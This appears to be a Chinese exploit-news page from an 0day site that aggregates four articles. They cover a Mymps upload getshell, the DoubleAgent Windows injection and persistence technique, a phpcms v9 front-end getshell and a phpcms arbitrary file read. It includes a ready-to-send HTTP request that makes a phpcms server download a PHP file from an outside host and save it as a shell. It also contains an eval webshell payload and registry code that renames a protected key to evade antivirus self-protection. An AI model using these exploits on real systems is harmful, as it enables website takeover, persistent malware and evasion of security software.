Quantcast
Channel: 漏洞时代 - 最新漏洞_0DaY5.CoM
Viewing all 77 articles
Browse latest View live

蚂蚁分类getshell

$
0
0

from:90sec

/member/include/inc_shop.php

if($if_corp == 1){
                //???????????
                if($ac == 'base'){
                        if(empty($tname)) write_msg('','?m=shop&type=corp&error=39');
                        if(empty($areaid)) write_msg('','?m=shop&type=corp&error=40');
                        $db -> query("UPDATE `{$db_mymps}member` SET tname='$tname',catid='$catids',areaid='$areaid',introduce='$introduce',address='$address',busway='$busway',mappoint='$mappoint',msn='$msn',web='$web' $where AND if_corp = '1'");
                        write_msg('','?m=shop&type=corp&success=13');
                } elseif($ac == 'template') {
                        if($_FILES[$name_file]['name']){
                                require_once MYMPS_INC.'/upfile.fun.php';
                                $destination = "/banner/".date('Ym')."/";
                                $mymps_image = start_upload($name_file,$destination,0,'','',$oldbanner,'');

前面的ac不用管就是if判断然后进入操作而已。我们主要看template这里,获取$name_file的上传内容然后传入start_upload,这里说一下传参中可控的有$oldbanner
看下函数内容

function start_upload( $file_name, $destination_folder, $watermark = 0, $limit_width = "", $limit_height = "", $edit_filename = "", $edit_pre_filename = "" )
{
    global $mymps_global;
    global $timestamp;
    if ( !is_uploaded_file( $_FILES[$file_name]['tmp_name'] ) )
    {
        write_msg( "请重新选择您要上传的图片!" );
    }
    $file = $_FILES[$file_name];
    @createdir( MYMPS_UPLOAD.$destination_folder );
    $file_name = $file['tmp_name'];
    $pinfo = pathinfo( $file['name'] );
    $ftype = $pinfo['extension'];
    $fname = $pinfo[basename];
    if ( empty( $edit_filename ) && empty( $edit_pre_filename ) )
    {
        $destination_file = $timestamp.random( ).".".$ftype;
        $destination = MYMPS_UPLOAD.$destination_folder.$destination_file;
        $small_destination = MYMPS_UPLOAD.$destination_folder."pre_".$destination_file;
    }
    else
    {
        $destination = MYMPS_ROOT.$edit_filename;
        $small_destination = MYMPS_ROOT.$edit_pre_filename;
        $forbidarray = array(
            MYMPS_ROOT."/images/logo.gif",
            MYMPS_ROOT."/images/nopic.gif",
            MYMPS_ROOT."/images/nophoto.jpg",
            MYMPS_ROOT."/images/noavatar.gif",
            MYMPS_ROOT."/images/noavatar_small.gif"
        );
        if ( !in_array( $destination, $forbidarray ) || $destination != MYMPS_ROOT )
        {
            @unlink( $destination );
        }
        if ( !in_array( $small_destination, $forbidarray ) || $destination != MYMPS_ROOT )
        {
            @unlink( $small_destination );
        }
        unset( $forbidarray );
    }
    if ( file_exists( $destination ) )
    {
        write_msg( "同名图片已存在,请重新选择您要上传的图片!" );
    }
    if ( !move_uploaded_file( $file_name, $destination ) )
    {
        write_msg( "图片上传失败,请重新选择您要上传的图片!" );
}

看这里

$file = $_FILES[$file_name];
    @createdir( MYMPS_UPLOAD.$destination_folder );
    $file_name = $file['tmp_name'];
    $pinfo = pathinfo( $file['name'] );
    $ftype = $pinfo['extension'];
    $fname = $pinfo[basename];

先是获取了文件内容然后获取了文件后缀以及文件名这些

{
        $destination = MYMPS_ROOT.$edit_filename;
        $small_destination = MYMPS_ROOT.$edit_pre_filename;
        $forbidarray = array(
            MYMPS_ROOT."/images/logo.gif",
            MYMPS_ROOT."/images/nopic.gif",
            MYMPS_ROOT."/images/nophoto.jpg",
            MYMPS_ROOT."/images/noavatar.gif",
            MYMPS_ROOT."/images/noavatar_small.gif"
        );

这里的edit与edit_pre讲道理的是非空所以进入了该if进行后缀以及路径拼接(期间并无任何效验)

<p class="MsoNormal" style="text-indent:20.0000pt;"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:'Courier New';mso-hansi-font-family:'Courier New';mso-bidi-font-family:'Times New Roman';color:rgb(0,0,0);font-size:10.0000pt;mso-font-kerning:1.0000pt;">if ( file_exists( $destination ) )</span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:'Courier New';mso-hansi-font-family:'Courier New';mso-bidi-font-family:'Times New Roman';color:rgb(0,0,0);font-size:10.0000pt;mso-font-kerning:1.0000pt;"><o:p></o:p></span></p><p class="MsoNormal" style="text-indent:20.0000pt;"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:'Courier New';mso-hansi-font-family:'Courier New';mso-bidi-font-family:'Times New Roman';color:rgb(0,0,0);font-size:10.0000pt;mso-font-kerning:1.0000pt;">    {</span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:'Courier New';mso-hansi-font-family:'Courier New';mso-bidi-font-family:'Times New Roman';color:rgb(0,0,0);font-size:10.0000pt;mso-font-kerning:1.0000pt;"><o:p></o:p></span></p><p class="MsoNormal" style="text-indent:20.0000pt;"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:'Courier New';mso-hansi-font-family:'Courier New';mso-bidi-font-family:'Times New Roman';color:rgb(0,0,0);font-size:10.0000pt;mso-font-kerning:1.0000pt;">        write_msg( "<font face="宋体">同名图片已存在,请重新选择您要上传的图片!</font><font face="Courier New">" );</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:'Courier New';mso-hansi-font-family:'Courier New';mso-bidi-font-family:'Times New Roman';color:rgb(0,0,0);font-size:10.0000pt;mso-font-kerning:1.0000pt;"><o:p></o:p></span></p><p class="MsoNormal" style="text-indent:20.0000pt;"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:'Courier New';mso-hansi-font-family:'Courier New';mso-bidi-font-family:'Times New Roman';color:rgb(0,0,0);font-size:10.0000pt;mso-font-kerning:1.0000pt;">    }</span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:'Courier New';mso-hansi-font-family:'Courier New';mso-bidi-font-family:'Times New Roman';color:rgb(0,0,0);font-size:10.0000pt;mso-font-kerning:1.0000pt;"><o:p></o:p></span></p><p class="MsoNormal" style="text-indent:20.0000pt;"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:'Courier New';mso-hansi-font-family:'Courier New';mso-bidi-font-family:'Times New Roman';color:rgb(0,0,0);font-size:10.0000pt;mso-font-kerning:1.0000pt;">    if ( !move_uploaded_file( $file_name, $destination ) )</span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:'Courier New';mso-hansi-font-family:'Courier New';mso-bidi-font-family:'Times New Roman';color:rgb(0,0,0);font-size:10.0000pt;mso-font-kerning:1.0000pt;"><o:p></o:p></span></p><p class="MsoNormal" style="text-indent:20.0000pt;"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:'Courier New';mso-hansi-font-family:'Courier New';mso-bidi-font-family:'Times New Roman';color:rgb(0,0,0);font-size:10.0000pt;mso-font-kerning:1.0000pt;">    {</span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:'Courier New';mso-hansi-font-family:'Courier New';mso-bidi-font-family:'Times New Roman';color:rgb(0,0,0);font-size:10.0000pt;mso-font-kerning:1.0000pt;"><o:p></o:p></span></p><p class="MsoNormal" style="text-indent:20.0000pt;"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:'Courier New';mso-hansi-font-family:'Courier New';mso-bidi-font-family:'Times New Roman';color:rgb(0,0,0);font-size:10.0000pt;mso-font-kerning:1.0000pt;">        write_msg( "<font face="宋体">图片上传失败,请重新选择您要上传的图片!</font><font face="Courier New">" );</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:'Courier New';mso-hansi-font-family:'Courier New';mso-bidi-font-family:'Times New Roman';color:rgb(0,0,0);font-size:10.0000pt;mso-font-kerning:1.0000pt;"><o:p></o:p></span></p><p class="MsoNormal" style="text-indent:20.0000pt;"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:'Courier New';mso-hansi-font-family:'Courier New';mso-bidi-font-family:'Times New Roman';color:rgb(0,0,0);font-size:10.0000pt;mso-font-kerning:1.0000pt;">    }</span></p>

下面接着判断了是否存在相同名如果不存在同名则直接上传。
本地复现:

Old我们指定的文件名

不过印象中我并不记得蚂蚁分类会存在这个漏洞啊!!抱着各种心情多看一下.随便看一个

发现除了我们那个每个上面都会有一个check_upimage的调用 看看怎么回事


DoubleAgent技术:任意进程下代码注入与权限维持

$
0
0

概述
本文披露一种全新的0day技术,用于代码注入和权限维持。
影响范围
Windows的所有版本(windows xp到windows 10)
所有windows架构(x86和x64)
Windows所有权限(system/administrator)
每个目标进程,包括特权进程(OS/Antivirus等)

DoubeleAgent所利用的是一个未被windows公开的技术,该技术已经存在了15年,所以目前没有相对应的补丁。

代码注入
攻击者可以利用DoubeleAgent将任意代码注入到任何一个他想注入的进程中。并且由于注入发生在进程启动的一开始,因此攻击可以完全控制进程,而进程无法进行自我保护。
目前市面上没有任何一款杀毒软件可以检测或预防此种攻击。

权限维持
即便重启进程,DoubeleAgent依旧可以继续注入代码,因此可以实现完美的权限维持。一旦攻击者将DLL文件注入到某个进程中,他们将永远被强制绑定。即便完全卸载后重装,攻击者的DLL仍然可以在每次执行进程时被再次注入。

攻击向量
可以攻击现有的防毒软件和下一代的防毒软件——通过注入代码就可以绕过所有的自我保护机制,并且取得完全的控制权。该攻击目前已经验证能够攻破以下的防病毒软件,包括但不限于:Avast, AVG, Avira, Bitdefender, Comodo, ESET, F-Secure, Kaspersky, Malwarebytes, McAfee, Norton, Panda, Quick Heal and Trend Micro.

安装恶意软件——即便重启,依旧可以长期控制
劫持权限-劫持现有的可信进程的权限,将恶意进程伪装成受信任的进程。例如机密数据,C&C通讯、偷窃和解密敏感数据。
改变流程行为-修改流程的行为。如安装后门,削弱加密算法,等等。
攻击其它的用户会话–向其它用户会话的进程注入代码(systemadminetc

技术深入
Microsoft应用验证程序提供程序
Microsoft提供了一种通过Microsoft Application Verifier Provider DLL为本机代码安装运行时验证工具的标准方法。Provider DLL会加载到进程中,为应用程序提供运行时验证。

通过创建一个Verifier Provider DLL,并且在注册表中设置一些键值,可以得到一个新的Application Verifier Provider DLL。

一旦一个DLL成为一个进程的verifier provider DLL,即使在进程重新启动、更新、重新安装、打上补丁等之后,Windows Loader也会在该进程每次启动时重新注入该verifier provider DLL,达到永久注入的效果。

注册
Application verifier providers根据可执行程序名对应注册,这意味着每个DLL对应到一个特定的程序名,并且将被注入到每个以该名称启动的新进程。

例如 如果将注册DoubleAgentDll.dll到cmd.exe并启动:
“C:-cmd.exe”和“C:-Windows-System32-cmd.exe”,然后将DoubleAgentDll.dll注入到这两个进程中。
注册后,每当使用注册名称创建新进程时,操作系统会自动执行注入。 无论rebootsupdatesreinstallspatches或其他任何内容重复,注入都会一直发生。 每次创建具有注册名称的新进程时,它将与应用程序验证程序提供程序一起注入。

程序下载地址:https://github.com/Cybellum/DoubleAgent

Usage: DoubleAgent.exe installuninstallrepair process_name
e.g. DoubleAgent.exe install cmd.exe

或者使用验证器模块将注册功能集成到现有项目中。
下载地址:https://github.com/Cybellum/DoubleAgent/blob/master/DoubleAgent/Verifier.h

/*

  • Installs an application verifier for the process
    */

DOUBLEAGENT_STATUS VERIFIER_Install(IN PCWSTR pcwszProcessName, IN PCWSTR pcwszVrfDllName, IN PCWSTR pcwszVrfDllPathX86, IN PCWSTR pcwszVrfDllPathX64);
/*

  • In some cases (application crash, exception, etc.) the installuninstall functions may accidentally leave the machine in an undefined state

  • Repairs the machine to its original state
    */

DOUBLEAGENT_STATUS VERIFIER_Repair(VOID);
/*

  • Uninstalls the application verifier from the process
    */

VOID VERIFIER_Uninstall(IN PCWSTR pcwszProcessName, IN PCWSTR pcwszVrfDllName);

注册过程创建两个新的注册表项:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage文件执行选项PROCESS_NAME

/ Creates the VerifierDlls value and sets it to the verifier dll name /

     bCreatedVerifierDlls = (ERROR_SUCCESS == RegSetKeyValueW(hIfeoKey, pcwszProcessName, VERIFIER_VERIFIERDLLS_VALUE_NAME, REG_SZ, pcwszVrfDllName, dwVrfDllNameLenInBytes));

     /*
      * Creates the GlobalFlag value and sets it to FLG_APPLICATION_VERIFIER
      * Read more: https://msdn.microsoft.com/en-us/library/windows/hardware/ff542875(v=vs.85).aspx
      */
     bCreatedGlobalFlag = (ERROR_SUCCESS == RegSetKeyValueW(hIfeoKey, pcwszProcessName, VERIFIER_GLOBALFLAG_VALUE_NAME, REG_DWORD, &dwGlobalFlag, sizeof(dwGlobalFlag)));

最终结果显示为:

某些防病毒软件试图阻止任何尝试创建修改键值的方法来保护“Image File Execution Options”下的进程的键值。例如防病毒软件可能会尝试阻止任何访问“Image File Execution Options”的操作。

通过略微修改注册表路径,可以轻松地绕过这些简单的保护措施。例如我们将首先将“Image File Execution Options”重命名为“Image File Execution Options Temp”临时新名称,然后在“Image File Execution Options TempANTIVIRUS_NAME”下创建新的注册表项,还原“Image File Execution Options TempANTIVIRUS_NAME”的原始名称。
因为新的键值创建发生在“Image File Execution Options TempANTIVIRUS_NAME”,而不是“Image File Execution OptionsANTIVIRUS_NAME”,这足以绕过防病毒自我保护技术。
我们已经在验证着模块中实现了“重命名技术”,可以直接拿来使用。

/ Creates the VerifierDlls value and sets it to the verifier dll name /

     bCreatedVerifierDlls = (ERROR_SUCCESS == RegSetKeyValueW(hIfeoKey, pcwszProcessName, VERIFIER_VERIFIERDLLS_VALUE_NAME, REG_SZ, pcwszVrfDllName, dwVrfDllNameLenInBytes));

     /*
      * Creates the GlobalFlag value and sets it to FLG_APPLICATION_VERIFIER
      * Read more: https://msdn.microsoft.com/en-us/library/windows/hardware/ff542875(v=vs.85).aspx
      */
     bCreatedGlobalFlag = (ERROR_SUCCESS == RegSetKeyValueW(hIfeoKey, pcwszProcessName, VERIFIER_GLOBALFLAG_VALUE_NAME, REG_DWORD, &dwGlobalFlag, sizeof(dwGlobalFlag)));

     /*
      * The key creation might fail because some antiviruses protect the keys of their processes under the IFEO
      * One possible bypass is to rename the IFEO key name to a temporary name, create the keys, and restores the IFEO key name
      */
     if ((FALSE == bCreatedVerifierDlls) || (FALSE == bCreatedGlobalFlag))
     {
               /* Renames the IFEO key name to a temporary name */
               if (ERROR_SUCCESS != RegRenameKey(hIfeoKey, NULL, VERIFIER_IMAGE_FILE_EXECUTION_OPTIONS_NAME_TEMP))
               {
                        DOUBLEAGENT_SET(eStatus, DOUBLEAGENT_STATUS_DOUBLEAGENT_VERIFIER_REGISTER_REGRENAMEKEY_FAILED);
                        goto lbl_cleanup;
               }
               bKeyRenamed = TRUE;

               /*
                * Opens the temporary IFEO key
                * The key is reopened because some antiviruses continue monitoring and blocking the handle that opened the original IFEO
                */
               if (ERROR_SUCCESS != RegOpenKeyExW(HKEY_LOCAL_MACHINE, VERIFIER_IMAGE_FILE_EXECUTION_OPTIONS_SUB_KEY_TEMP, 0, KEY_SET_VALUE | KEY_WOW64_64KEY, &hIfeoKeyTemp))
               {
                        DOUBLEAGENT_SET(eStatus, DOUBLEAGENT_STATUS_DOUBLEAGENT_VERIFIER_REGISTER_REGOPENKEYEXW_FAILED_TEMP_IFEO);
                        goto lbl_cleanup;
               }

               if (FALSE == bCreatedVerifierDlls)
               {
                        /* Tries again to create the VerifierDlls value */
                        if (ERROR_SUCCESS != RegSetKeyValueW(hIfeoKeyTemp, pcwszProcessName, VERIFIER_VERIFIERDLLS_VALUE_NAME, REG_SZ, pcwszVrfDllName, dwVrfDllNameLenInBytes))
                        {
                                 DOUBLEAGENT_SET(eStatus, DOUBLEAGENT_STATUS_DOUBLEAGENT_VERIFIER_REGISTER_REGSETKEYVALUEW_FAILED_VERIFIERDLLS);
                                 goto lbl_cleanup;
                        }
                        bCreatedVerifierDllsTemp = TRUE;
               }

               if (FALSE == bCreatedGlobalFlag)
               {
                        /* Tries again to create the GlobalFlag value */
                        if (ERROR_SUCCESS != RegSetKeyValueW(hIfeoKeyTemp, pcwszProcessName, VERIFIER_GLOBALFLAG_VALUE_NAME, REG_DWORD, &dwGlobalFlag, sizeof(dwGlobalFlag)))
                        {
                                 DOUBLEAGENT_SET(eStatus, DOUBLEAGENT_STATUS_DOUBLEAGENT_VERIFIER_REGISTER_REGSETKEYVALUEW_FAILED_GLOBALFLAG);
                                 goto lbl_cleanup;
                        }
                        bCreatedGlobalFlagTemp = TRUE;
               }
     }

注入
当操作系统通过调用ntdll!LdrInitializeThunk将控制从内核模式传输到用户模式时,每个进程都将启动。 从这一刻起,ntdll负责初始化过程(初始化全局变量,加载导入等),并最终将控制转移到执行的程序的主要功能。

该进程处于刚刚启动的状态,唯一加载的模块是ntdll.dll和可执行文件(NS.exe)

Ntdll会直接启动进程,并且执行ntdll!LdrpInitializeProcess

通常第一个被加载的DLL将是kernel32.dll


通常第一个被加载的DLL将是kernel32.dll


由于此阶段其它dll并未加载,我们在任何其他系统dll之前这个进程。

一旦我们的DLL由ntdll加载,我们的DllMain将被调用,我们可以依照我们的想法在受害者进程中做任何事情。

static BOOL main_DllMainProcessAttach(VOID)
{

     DOUBLEAGENT_STATUS eStatus = DOUBLEAGENT_STATUS_INVALID_VALUE;

     /*
      **************************************************************************
      Enter Your Code Here
      **************************************************************************
      */

      /* Succeeded */
     DOUBLEAGENT_SET(eStatus, DOUBLEAGENT_STATUS_SUCCESS);

     /* Returns status */
     return FALSE != DOUBLEAGENT_SUCCESS(eStatus);

}

防护
Microsoft为防病毒供应商提供了一种称为保护进程的新设计概念。这个新概念是专为防病毒服务而设计的。防病毒进程可以创建为“受保护进程”,受保护的进程基础架构只允许加载受信任的签名代码,并具有针对代码注入攻击的内置防御。这意味着,即使攻击者发现一种新的0day注入代码,它不能用于反病毒,因为它的代码没有签名。虽然微软在3年前提供这个设计,但目前没有防病毒软件(Windows Defender除外)实现了此设计。
重要的是要注意,即使防病毒厂商会阻止注册尝试,代码注入技术和权限维持技术将一直存在,因为它是操作系统的合法部分。

phpcms v9前台getshell

$
0
0

看到到处都是这个漏洞的利用.加班完这个点看看触发点.主要的问题是
phpcms\modules\member\index.php 130行到140行

            //附表信息验证 通过模型获取会员信息
            if($member_setting['choosemodel']) {
                require_once CACHE_MODEL_PATH.'member_input.class.php';
                require_once CACHE_MODEL_PATH.'member_update.class.php';
                $member_input = new member_input($userinfo['modelid']);        
                $_POST['info'] = array_map('new_html_special_chars',$_POST['info']);
                //var_dump($_POST['info']);
                $user_model_info = $member_input->get($_POST['info']);
            }

这里加载了两个文件.位于当前目录下的fields中的member_input.class.php。因为这里主要是调用了member_input.
文件的开头就写清楚了

    function __construct($modelid) {
        $this->db = pc_base::load_model('sitemodel_field_model');
        $this->db_pre = $this->db->db_tablepre;
        $this->modelid = $modelid;
        $this->fields = getcache('model_field_'.$modelid,'model');

做一点v9的常识

pc_base::load_model(‘*_model’) 加载数据库模型 
pc_base::load_sys_class(‘classname’) 实例化系统类
pc_base::load_app_class(‘classname’,’admin’) 实例化模块类
pc_base::load_sys_func (‘funcfile’) 调用系统函数库
以上是调用模型和实例化对象的四种方法

pc_base::load_model(‘*_model’) 对应加载 根目录\phpcms\model 下面的类文件
pc_base::load_sys_class(‘classname’) 对应加载 根目录\phpcms\libs\classes 下面的文件
pc_base::load_app_class(‘classname’,’admin’) 对应加载 根目录\phpcms\modules\admin\classes 下面的文件
pc_base::load_sys_func (‘funcfile’) 对应加载 根目录\phpcms\libs\functions\

因此在member_input.class.php中调用了
\phpcms\model\sitemodel_field_model.class.php
继续查看,发现调用的是

class sitemodel_field_model extends model {
    public $table_name = '';
    public function __construct() {
        $this->db_config = pc_base::load_config('database');
        $this->db_setting = 'default';
        $this->table_name = 'model_field';
        parent::__construct();
    }

加载了数据库配置.然后读取了表model_field.那么这个流程就是需要从model_field中匹配某些东西。继续跟get函数

    function get($data) {
        $this->data = $data = trim_script($data);
        $model_cache = getcache('member_model', 'commons');
        $this->db->table_name = $this->db_pre.$model_cache[$this->modelid]['tablename'];

        $info = array();
        $debar_filed = array('catid','title','style','thumb','status','islink','description');
        if(is_array($data)) {
            foreach($data as $field=>$value) {
                if($data['islink']==1 && !in_array($field,$debar_filed)) continue;
                $field = safe_replace($field);
                $name = $this->fields[$field]['name'];
                $minlength = $this->fields[$field]['minlength'];
                $maxlength = $this->fields[$field]['maxlength'];
                $pattern = $this->fields[$field]['pattern'];
                $errortips = $this->fields[$field]['errortips'];
                if(empty($errortips)) $errortips = "$name 不符合要求!";
                $length = empty($value) ? 0 : strlen($value);
                if($minlength && $length < $minlength && !$isimport) showmessage("$name 不得少于 $minlength 个字符!");
                if (!array_key_exists($field, $this->fields)) showmessage('模型中不存在'.$field.'字段');
                if($maxlength && $length > $maxlength && !$isimport) {
                    showmessage("$name 不得超过 $maxlength 个字符!");
                } else {
                    str_cut($value, $maxlength);
                }
                if($pattern && $length && !preg_match($pattern, $value) && !$isimport) showmessage($errortips);
                if($this->fields[$field]['isunique'] && $this->db->get_one(array($field=>$value),$field) && ROUTE_A != 'edit') showmessage("$name 的值不得重复!");
                $func = $this->fields[$field]['formtype'];
                if(method_exists($this, $func)) $value = $this->$func($field, $value);
    
                $info[$field] = $value;
            }
        }
        return $info;
    }

注意观察到

$func = $this->fields[$field]['formtype'];
if(method_exists($this, $func)) $value = $this->$func($field, $value);


查看formtype其实是edit.查看下edit函数
phpcms\modules\member\fields\editor\input.inc.php

    function editor($field, $value) {
        $setting = string2array($this->fields[$field]['setting']);
        $enablesaveimage = $setting['enablesaveimage'];
        $site_setting = string2array($this->site_config['setting']);
        $watermark_enable = intval($site_setting['watermark_enable']);
        $value = $this->attachment->download('content', $value,$watermark_enable);
        return $value;
    }

发现这里调用了$this->attachment->download

    function download($field, $value,$watermark = '0',$ext = 'gif|jpg|jpeg|bmp|png', $absurl = '', $basehref = '')
    {
        global $image_d;
        $this->att_db = pc_base::load_model('attachment_model');
        $upload_url = pc_base::load_config('system','upload_url');
        $this->field = $field;
        $dir = date('Y/md/');
        $uploadpath = $upload_url.$dir;
        $uploaddir = $this->upload_root.$dir;
        $string = new_stripslashes($value);
        if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;
        $remotefileurls = array();
        foreach($matches[3] as $matche)
        {
            if(strpos($matche, '://') === false) continue;
            dir_create($uploaddir);
            $remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);
        }
        unset($matches, $string);
        $remotefileurls = array_unique($remotefileurls);
        $oldpath = $newpath = array();
        foreach($remotefileurls as $k=>$file) {
            if(strpos($file, '://') === false || strpos($file, $upload_url) !== false) continue;
            $filename = fileext($file);
            $file_name = basename($file);
            $filename = $this->getname($filename);

            $newfile = $uploaddir.$filename;
            $upload_func = $this->upload_func;
            if($upload_func($file, $newfile)) {
                $oldpath[] = $k;
                $GLOBALS['downloadfiles'][] = $newpath[] = $uploadpath.$filename;
                @chmod($newfile, 0777);
                $fileext = fileext($filename);
                if($watermark){
                    watermark($newfile, $newfile,$this->siteid);
                }
                $filepath = $dir.$filename;
                $downloadedfile = array('filename'=>$filename, 'filepath'=>$filepath, 'filesize'=>filesize($newfile), 'fileext'=>$fileext);
                $aid = $this->add($downloadedfile);
                $this->downloadedfiles[$aid] = $filepath;
            }
        }
        return str_replace($oldpath, $newpath, $value);
    }

传输到地址经过new_stripslashes处理

function new_stripslashes($string) {
    if(!is_array($string)) return stripslashes($string);
    foreach($string as $key => $val) $string[$key] = new_stripslashes($val);
    return $string;
}

限制了后缀为$ext = 'gif|jpg|jpeg|bmp|png'。同时限定了传输到必须是网址

("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i"

这个是一个实现远程图片自动上传功能的函数,用户提交的content中若有图片地址则自动将远程的地址copy到本地!在清楚content中的图片路径时候采用preg_match_all 正则匹配(红色代码部分),虽然有扩展名的验证但是很容易就能绕过,我们只需要将shell地址修改为:http://mysite/shell.php?1.gif就可以绕过了,mysite是自己的网站地址,如果自己网站下解析php的话那么php内容应该是<?php echo '<?php eval($_POST[cmd]);?>';?> 否则下载后得到的文件内容是空白,copy访问远程文件也像IE一样,访问后取得解析后的内容。

那么整个流程久清楚了..传输modelid起到了决定性的作用.只有在1,2,3,11的时候才会触发edit函数.同时可以赋值content.

POST /index.php?m=member&c=index&a=register&siteid=1 HTTP/1.1
Host: 192.168.87.128
Content-Length: 297
Cache-Control: max-age=0
Origin: http://192.168.87.128
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://192.168.87.128/index.php?m=member&c=index&a=register&siteid=1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,es;q=0.6,fr;q=0.4,vi;q=0.2
Cookie: PHPSESSID=h5jo0216vveqr9blnh146tq5q5
X-Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Originating-IP: 127.0.0.1
Connection: close

siteid=1&modelid=2&username=test&password=test123&pwdconfirm=test123&email=test%40qq.com&nickname=test233&dosubmit=%E5%90%8C%E6%84%8F%E6%B3%A8%E5%86%8C%E5%8D%8F%E8%AE%AE%EF%BC%8C%E6%8F%90%E4%BA%A4%E6%B3%A8%E5%86%8C&protocol=&info[content]=<img src=http://phpcms.0day5.com/test.txt?.php#.jpg>

PHPCMS任意文件读取漏洞分析

$
0
0

此次的任意文件读取漏洞也出现在down类中,上次的sql注入也是这里的坑,所以应该叫继续分析吧,先来看漏洞触发点:

/phpcms/modules/content/down.php Line 103-127

       if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f) || strpos($f, ":\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error'));
        $fileurl = trim($f);
        if(!$downid || empty($fileurl) || !preg_match("/[0-9]{10}/", $starttime) || !preg_match("/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}/", $ip) || $ip != ip()) showmessage(L('illegal_parameters'));    
        $endtime = SYS_TIME - $starttime;
        if($endtime > 3600) showmessage(L('url_invalid'));
        if($m) $fileurl = trim($s).trim($fileurl);
       if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$fileurl) ) showmessage(L('url_error'));
        //远程文件
        if(strpos($fileurl, ':/') && (strpos($fileurl, pc_base::load_config('system','upload_url')) === false)) { 
            header("Location: $fileurl");
        } else {
            if($d == 0) {
                header("Location: ".$fileurl);
            } else {
                $fileurl = str_replace(array(pc_base::load_config('system','upload_url'),'/'), array(pc_base::load_config('system','upload_path'),DIRECTORY_SEPARATOR), $fileurl);
                $filename = basename($fileurl);
                //处理中文文件
                if(preg_match("/^([\s\S]*?)([\x81-\xfe][\x40-\xfe])([\s\S]*?)/", $fileurl)) {
                    $filename = str_replace(array("%5C", "%2F", "%3A"), array("\\", "/", ":"), urlencode($fileurl));
                    $filename = urldecode(basename($filename));
                }
                $ext = fileext($filename);
                $filename = date('Ymd_his').random(3).'.'.$ext;
                $fileurl = str_replace(array('<','>'), '',$fileurl);
                file_down($fileurl, $filename);

最后一行有file_down函数,跟进去看一下:phpcms/libs/functions/global.fun.php Line 1187-1204

function file_down($filepath, $filename = '') {
    if(!$filename) $filename = basename($filepath);
    if(is_ie()) $filename = rawurlencode($filename);
    $filetype = fileext($filename);
    $filesize = sprintf("%u", filesize($filepath));
    if(ob_get_length() !== false) @ob_end_clean();
    header('Pragma: public');
    header('Last-Modified: '.gmdate('D, d M Y H:i:s') . ' GMT');
    header('Cache-Control: no-store, no-cache, must-revalidate');
    header('Cache-Control: pre-check=0, post-check=0, max-age=0');
    header('Content-Transfer-Encoding: binary');
    header('Content-Encoding: none');
    header('Content-type: '.$filetype);
    header('Content-Disposition: attachment; filename="'.$filename.'"');
    header('Content-length: '.$filesize);
    readfile($filepath);
    exit;
}

就一个普通的文件下载方法,当$fileurl传入后会去下载指定文件,再回到down.php文件中,在执行file_down前是走了几次判断:

(1)首先从头到尾判断$f参数中是否有php等服务端脚本文件,再看看是否带有”:\”外链文件,是否”..”目录跳转,满足其中一个条件就返回True。

if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f) || strpos($f, ":\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error'));

满足后执行show message抛出错误信息,虽然没有exit结束程序,但是咱们的file_down是在二级if分支的else里面的,无法执行到目标函数。

(2)接着$f的值赋给了$fileurl参数,再做了一次内容判断。

if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$fileurl) ) showmessage(L('url_error'));

(3)将$s与$fileurl拼接起来,而$fileurl就是前面可控的$f:

if($m) $fileurl = trim($s).trim($fileurl);

(4)处理远程文件,如果是外链文件的话直接跳转到目标地址。

if(strpos($fileurl, ':/') && (strpos($fileurl, pc_base::load_config('system','upload_url')) === false)) {
     header("Location: $fileurl");
}

接着走到else分支里面的str_replace,将$fileurl参数中的所有”>”、”<“参数替换为空值,这也是出现问题的函数,前面的后缀/目录跳转判断均可以绕过,可以发现需要控制的参数有 $s、$f,这俩参数在init函数中传进来的:

/phpcms/modules/content/down.php Line 76-84

        if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f) || strpos($f, ":\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error'));
